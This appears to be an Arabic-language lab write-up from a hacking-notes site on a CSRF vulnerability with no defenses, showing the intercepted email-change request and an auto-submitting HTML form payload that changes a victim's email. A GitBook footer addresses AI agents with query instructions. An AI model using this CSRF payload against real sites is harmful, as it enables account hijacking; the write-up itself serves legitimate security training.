> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-vulnerability-with-no-defenses.md).

# ثغرة CSRF بدون حماية

### ثغرة CSRF بدون دفاعات

#### الوصف

وظيفة تغيير البريد الإلكتروني في هذا المختبر عرضة لهجوم CSRF. الهدف هو تزوير طلب من جهة العميل يغيّر عنوان البريد الإلكتروني للمستخدم الضحية دون موافقته.

#### الهدف

أنشئ محتوى HTML ينفذ هجوم CSRF لتغيير عنوان البريد الإلكتروني للزائر، ثم ارفع ذلك المحتوى إلى خادم الاستغلال الخاص بك.

#### المعرّف

يمكنك تسجيل الدخول باستخدام الحساب التالي:/ **wiener: peter**

<figure><img src="/files/4ff8d278305fd5a1f6926e4bdffc140ee22792c8" alt=""><figcaption></figcaption></figure>

عند الاعتراض، يُلاحظ أن الطلب الخاص بتغيير البريد الإلكتروني هو طلب POST بسيط يقبل المعامل `البريد الإلكتروني` المعامل. لا توجد حماية ضد CSRF (لا رمز، لا أصل، إلخ)، مما يسمح بأتمتة إرسال النموذج من صفحة مستضافة على خادم الاستغلال.

#### حمولة HTML لإيداعها على خادم الاستغلال

ينشئ HTML التالي نموذجًا يستهدف عنوان URL لتغيير البريد الإلكتروني ويرسله تلقائيًا عند تحميل الصفحة:

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
